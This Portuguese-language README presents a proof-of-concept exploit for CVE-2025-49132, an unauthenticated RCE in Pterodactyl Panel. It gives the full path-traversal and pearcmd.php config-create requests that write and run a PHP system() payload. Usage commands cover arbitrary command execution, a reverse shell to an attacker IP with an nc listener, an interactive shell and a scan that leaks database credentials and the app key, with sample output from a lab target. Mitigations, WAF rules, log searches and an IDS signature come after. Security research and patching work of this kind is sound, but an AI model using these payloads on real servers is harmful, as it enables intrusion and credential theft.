
CVE-2025-49132_PHP_PEAR_METHOD
Este repositório contém um exploit de prova de conceito (PoC) para CVE-2025-49132, uma vulnerabilidade crítica de execução remota de código não autenticada em versões do Pterodactyl Panel anteriores à 1.11.11.
Pterodactyl Panel é um painel gratuito e de código aberto para gerenciamento de servidores de jogos, desenvolvido em PHP. A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários do sistema no servidor alvo por meio do tratamento inadequado do endpoint /locales/locale.json combinado com a funcionalidade pearcmd.php do PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) é um framework e sistema de distribuição para componentes PHP reutilizáveis. Ele fornece uma ferramenta de linha de comando (pearcmd.php) que pode ser usada para gerenciar pacotes PEAR.
O arquivo pearcmd.php processa comandos por meio de parâmetros de URL e, quando combinado com path traversal (travessia de diretórios), pode ser utilizado para:
A vulnerabilidade existe porque:
locale em /locales/locale.json permite travessia de diretórios sem validação adequadapearcmd.php aceita o comando +config-create, que pode gravar arquivos PHP arbitráriosUm atacante pode:
config-create para gravar código PHP malicioso em /tmpO exploit funciona em duas etapas:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Detalhamento:
+config-create+/ - Invoca a funcionalidade de criação de configuração do PEARlocale=../../../../../../usr/share/php/PEAR - Travessia de diretórios até o diretório do PEARnamespace=pearcmd - Tem como alvo o arquivo pearcmd.php<?=system('id')?>+/tmp/payload.php - Payload PHP e arquivo de destinoGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Detalhamento:
locale=../../../../../../tmp - Travessia de diretórios até o diretório /tmpnamespace=payload - Inclui e executa payload.phpO exploit exige o envio de caracteres especiais (<, >, ?, =) na URL sem codificação. Se esses caracteres forem codificados na URL:
<?=system('id')?> se torna %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Atacante] -->|1. Requisição de Travessia de Diretórios| B[locale.json]
B -->|2. Travessia até o PEAR| C[pearcmd.php]
C -->|3. Comando config-create| D[Gravar Payload PHP]
D -->|4. Criar Arquivo| E[payload.php]
E -->|5. Arquivo Criado| F[Sistema de Arquivos do Servidor]
A -->|6. Requisição de Execução| G[locale.json]
G -->|7. Travessia até tmp| E
E -->|8. Incluir e Executar| H[Interpretador PHP]
H -->|9. Comando do Sistema| I[Comando Shell]
I -->|10. Saída do Comando| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Atacante
participant Servidor Web
participant PEAR
participant Sistema de Arquivos
participant Motor PHP
Atacante->>Servidor Web: GET locale.json com config-create
Servidor Web->>PEAR: Travessia de diretórios até pearcmd
PEAR->>Sistema de Arquivos: Criar payload.php
Sistema de Arquivos-->>Atacante: 200 OK
Atacante->>Servidor Web: GET locale.json com namespace do payload
Servidor Web->>Sistema de Arquivos: Travessia de diretórios até payload.php
Sistema de Arquivos->>Motor PHP: Incluir payload
Motor PHP->>Motor PHP: Executar comando do sistema
Motor PHP-->>Atacante: Saída do Comando RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Ou manualmente:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Verifica a CVE-2025-49132 por meio de vazamentos de configuração (credenciais do banco de dados, chave do aplicativo).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Mostra o progresso detalhado (criação do payload, caminho do PEAR, status da execução).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Use -v para saída detalhada (detalhes do payload, caminho do PEAR, etc.).
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Make sure your listener is running: nc -lvnp 4444
# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Found 3 potential PEAR installation(s):
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation
Use -v para ver o progresso do fuzzing por caminho.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
Host: 127.0.0.1
Port: 3306
Database: panel
Username: pterodactyl
Password: ********
Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
App Key: base64{...}
[!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132
Atualize o Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
Atualize para a versão 1.11.11 ou posterior.
Desative o Endpoint Vulnerável (Solução Temporária)
Adicione à configuração do seu servidor web:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
Nota: Isso interromperá os recursos de localização.
Firewall de Aplicação Web (WAF)
Implemente regras de WAF para bloquear tentativas de travessia de diretórios:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale e namespacerealpath() para resolver e validar caminhos de arquivolocale específicos e predefinidosAnálise de Logs - Procure por padrões suspeitos:
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
Assinaturas de IDS/IPS:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS
Este exploit de prova de conceito é fornecido apenas para fins educacionais e testes de segurança autorizados. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por este programa.
O acesso não autorizado a sistemas de computador é ilegal. Os usuários são responsáveis por garantir a conformidade com as leis e regulamentos aplicáveis.
xffsec
| Contato |
|---|
| GitHub: @xffsec |
| E-mail: [email protected] |
Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Contribuições, problemas e solicitações de recursos são bem-vindos! Sinta-se à vontade para abrir uma issue ou enviar um pull request.
⚠️ Lembre-se: Sempre pratique divulgação responsável e nunca explore vulnerabilidades sem autorização adequada.